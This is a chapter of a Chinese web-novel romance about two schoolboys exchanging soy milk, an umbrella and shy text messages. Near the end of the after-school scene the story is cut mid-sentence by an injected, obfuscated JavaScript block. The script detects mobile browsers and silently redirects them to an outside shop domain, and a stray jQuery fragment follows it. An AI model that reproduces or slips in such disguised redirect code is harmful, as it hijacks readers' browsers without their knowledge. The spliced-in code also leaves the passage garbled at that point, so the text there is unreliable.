周二早晨，苌斓没有设闹钟。
他是被豆浆的香气叫醒的。不是梦里，是真的。厨房里传来豆浆机运转的嗡鸣声，混着黄豆特有的醇厚香味，从门缝里钻进来。他睁开眼睛，盯着天花板上那片被晨光照亮的区域，躺了大概五秒钟。
然后坐起来，比平时快了至少三倍。
他洗漱的时候多挤了一点洗面奶，洗完才发现挤多了，泡沫糊了满脸。他把脸埋进冷水里，抬头看镜子。水珠顺着下巴滴下来，他盯着镜子里的自己，忽然觉得有点陌生。不是因为脸。是眼睛。那双眼睛里有某种之前不存在的东西。很淡，但确实在那里。
他把毛巾挂好，走出卫生间。厨房里，父亲正把豆浆从豆浆机里倒进保温杯。桌上已经摆好了早饭。母亲在摆筷子，看到苌斓出来，习惯性地往他的方向推了推那碟小菜。她已经不再像刚来时那样小心翼翼，动作自然了很多。
“昨晚睡得好吗？”她问。
“还行。”苌斓坐下，端起粥碗。他注意到父亲的保温杯旁边，还有一个保温杯。深蓝色的，不是家里的。他看了那个保温杯一眼，又看了一眼父亲。父亲什么都没说，只是把深蓝色保温杯往桌边挪了挪，靠近苌斓的手边。
苌斓低下头继续喝粥。他知道那个保温杯是给谁的。
吃完饭，他背上书包，拿起深蓝色保温杯，走到玄关换鞋。母亲从厨房探出头，手里还拿着抹布：“路上小心。”
“嗯。”
苌斓推开门，走进了晨光里。梧桐道上的落叶比昨天又厚了一层。深秋的早晨已经有了一些寒意，他呼出的气在空气里变成一小团白雾。他把保温杯抱在怀里，捂得很紧。豆浆的热度透过杯壁渗出来，暖意从他的胸口蔓延到四肢百骸。
走到路口的时候，他远远就看见了那个人影。梧桐树下的少年依旧穿着洗得干干净净的校服，书包背在一边肩膀上。他站在晨光里，头发被风吹得微微翘起，看到苌斓走来的方向，微微抬了抬下巴。
苌斓走过去。距离三步的时候，脚步不自觉地慢了半拍。他发现自己在控制步幅，不想走太快，显得太急切。又不想走太慢，显得太刻意。三步的距离走了大概一个世纪。
“早。”忘海的声音很轻，和他呼出的白气一起融进晨风里。
“……早。”苌斓把深蓝色保温杯递过去，动作有些硬，“还你的。洗干净了。”
忘海接过杯子，指尖碰到杯壁的时候，微微弯了一下眼睛。“热的。刚打的？”
“……嗯。”
忘海低头看了一眼怀里的保温杯，然后从书包侧袋里拿出另一个保温杯，递给苌斓。这是他自己的那个，上面有一点磕碰的痕迹。苌斓接过杯子，拧开盖子，热气和豆浆的香气一起涌出来，黄豆的醇厚里带着一点淡淡的米香。不加糖。他上次说蜂蜜太甜，他就真的换了豆浆。不加糖，但还是温热的，还是刚好能暖手的温度。
苌斓把杯盖拧好，双手捧着杯子，暖意从掌心慢慢往上爬。他低着头，声音有些轻：“你早上几点起来的。”
“不早。”忘海把深蓝色保温杯放回书包侧袋。
“泡黄豆要时间。”
忘海沉默了片刻，然后说：“昨晚泡的。”
苌斓没有继续追问。昨晚泡的黄豆，今早打的豆浆。他不知道他几点起床，不知道他磨豆浆的时候会不会吵到养父母，不知道他有没有吃早饭，不知道他是不是先打好了豆浆才吃的早饭。他什么都不知道。但他知道一件事——这个保温杯的温度，和这个人每天早上等在路口的时间，一样准时。
两人并肩朝学校走去。晨光越来越好，把梧桐叶晒得微微发亮。苌斓走得不快，忘海就放慢脚步配合他。走到校门口的时候，和往常一样分道扬镳。高二楼往左，高一楼往右。
苌斓走到高二楼门口，忽然停下来。他站在那里，手里捧着温热的保温杯，看着玻璃门上倒映的自己的影子。然后他转过身，朝高一楼的方向望去。忘海正走在梧桐道的另一头，背对着他，校服衣角被风轻轻掀动。
“忘海。”
声音不大，但在清晨安静的校园里，足够传到那个人的耳朵里。
忘海停下脚步，转过身。
隔着半条梧桐道，苌斓站在那里。他把保温杯举了一下，动作很轻，像是在示意什么。
“……谢了。”
两个字，裹在晨风里，轻得差点被梧桐叶的沙沙声盖住。然后他立刻转身，推开玻璃门，快步走进了教学楼。脊背挺直，耳根通红。
忘海站在原地，看着那道深蓝色卫衣的背影消失在楼道里。过了很久，他低下头轻轻笑了一声。他把手插回口袋里，转身朝高一楼走去。脚步比来的时候更慢，像是想在这个早晨多停留一会儿。
午休的时候，苌斓没有去天台。他留在教室里，把上午的笔记整理了一遍。坐他旁边的几个同学在小声聊天，他本来没在意，直到一个名字飘进耳朵里。
“……那个高一的学弟？就是总跟苌斓在一起的那个？”
他握笔的手微微一顿。
“对对对，就是那个长得特别白、眼睛有点蓝的那个。我昨天看到他们俩在校门口一起走路。”
“什么关系啊？好磕。”
“不知道，就是觉得那个学弟看他的眼神……怎么说呢，不太一样。”
声音压得很低，但苌斓的耳朵在这一刻格外灵敏。他低下头继续写笔记，笔尖在纸上划过，留下一个歪歪扭扭的公式。他把那个公式划掉，重新写了一遍。写得比刚才慢，像是在刻意控制每一个笔画的角度。
“……你们觉不觉得，”一个女生用气声说，“苌斓最近好像心情好了？不是那种外放的好，就是……怎么说，感觉整个人软了一点。”
苌斓翻了一页笔记，假装什么都没听见。
“确实！以前他走路都带风的，冷得人不敢靠近。现在有时候会看到他笑一下，虽然很淡，但真的有！”
“我赌五毛钱，跟那个学弟有关系。”
“我赌一块钱。”
“你们无不无聊。”
苌斓把笔放下，站起来。几个聊天的同学立刻散开，假装在看书。他拿起桌上的水杯，路过她们座位的时候没有侧头，没有停顿。但在经过最靠过道那个女生的桌子时，他从口袋里掏出一颗奶糖，轻轻放在她的课本旁边。
女生低头看了一眼那颗奶糖，又抬头看了一眼苌斓端着水杯的背影。然后她猛地捂住嘴，用气声对同桌说：“我磕死了。”
同桌疯狂点头。
苌斓走到饮水机旁，拧开水杯盖子。水杯里还剩半杯豆浆，已经凉了，但他没有倒掉。他把杯子放在饮水机出水口下面，没有接水。只是站在窗边，望着对面高一教学楼的方向。隔着操场，什么也看不见。但他知道那个人在那个方向，在某一扇窗户后面，也许也在喝水，也许在写作业，也许正托着下巴发呆。
他把杯子收回来，拧紧盖子，往回走。路过那个女生桌子的时候，又放了一颗奶糖。
“我没了。”他说，“最后两颗。”
然后坐回自己的座位，翻开笔记本新的一页。女生攥着两颗奶糖，用一种快要晕过去的眼神看向同桌。同桌无声地拍着桌子，嘴型夸张地重复着三个字——他！给！的！
放学铃响起的时候，苌斓收拾书包的速度比平时慢了半拍。他把课本一本一本叠好，笔放进笔袋，笔袋放进书包夹层。同桌已经收拾好了，在他旁边站着，欲言又止。然后终于忍不住问了一句：“你今天怎么收拾得这么慢。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724369|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“……没怎么。”
“你平时都是第一个冲出去的。”
苌斓没有回答。他把最后一本书放进书包，拉上拉链，站起来。他走出教室，走下楼梯，穿过梧桐道。走到校门口的时候，他停了一下。梧桐树下没有人在等他。但他看到树干上靠着一把折起来的伞。深蓝色的，伞柄上贴了一小条便利贴。他走过去，拿起那把伞，便利贴上只有一行字，字迹清隽工整。
“天气预报说下午有雨。你没带伞。——海”
苌斓站在梧桐树下，手里攥着那把伞，抬头看了看天空。晴空万里，一朵云都没有。他又低头看了看便利贴，翻到背面。背面也有一行字，字迹比正面的更随意，像是写完正面之后犹豫了一会儿才加上去的。
“如果没下雨，明天还给我就好。”
苌斓把便利贴小心地撕下来，折好，放进口袋里。然后他撑开那把伞。晴空万里，他撑着伞走出校门。门卫大叔看了他一眼，表情有些复杂。他假装没看到，撑着伞走过路口，一直走到公交车才把伞收起来。
晚饭后，苌斓回到自己的房间，把便利贴从口袋里掏出来，摊平，放在书桌上。纸条被他折过，上面有一道浅浅的折痕。他用指尖把折痕压平，压了很多遍，直到纸条变得平整如新。然后把纸条夹进一本很少翻开的词典里。翻遍整本词典，有一个字他最近查了很多次，但他没有意识到。那个字是“海”。
晚上洗漱完毕躺在床上，手机震了一下。
“伞拿到了吗。”
他把手机放在枕头旁边，翻了个身，打字：“天气预报不准。”
对方回得很快：“我知道。”
苌斓盯着这两个字看了很久。知道不准，还是把伞放在了树下。知道不会下雨，还是写了“你没带伞”。他忽然觉得嗓子有些紧，不是想说话，是想咽下什么。
“……明天还你。”
“好。明天早上路口见。”
苌斓没有回。他把手机放在床头柜上，侧过身，把脸埋进枕头里。手机又震了一下。他没看。又震了一下。他还是没看。第三下的时候他忍不住了，翻过身拿起手机，屏幕亮着，三条消息来自同一个人。
“今天是豆浆第一天。”
“你觉得怎么样。”
“可以继续吗。”
苌斓看着这三条消息，一条一条读过去。第一条是陈述，第二条是询问，第三条是试探。他想起自己上午在教室里，对那几个女生说“最后两颗”，然后把两颗奶糖都放在她们桌上的样子。那时候他只是不想让她们继续聊下去。又或者，他只是不想让别人看到自己的脸。
他打了两个字，删掉。又打了三个字，又删掉。最后只发了一个字。
“可以。”
然后他把手机塞进枕头底下，翻了个身，闭上眼睛。枕头底下，手机屏幕的微光透过布料映在他的脸上。
对话框里，忘海正在打字。打了很久，最后只发来一个小人靠在墙边的表情。嘴角弯着，和之前一模一样。
过了一会儿，又追了一条。
“那明天我放一点核桃。对记忆力好。你要期中了。”
苌斓把手机从枕头底下抽出来，看着这条消息，嘴角又开始往上翘。他在黑暗里抿紧嘴唇，打了一行字。
“……随便你。”
三个字。没有“谢谢”，没有“你费心了”，没有“真的不用这么麻烦”。只是“随便你”。但他们都明白，这三个字翻译过来是——“好。我等你。”
苌斓把手机放回枕头旁边，翻了个身，把脸埋进枕头里。枕头很软，带着淡淡的花香。是母亲买的洗衣液的味道。窗外夜色很深，明天早上的路口，会有人在等他。
带着不加糖的核桃豆浆。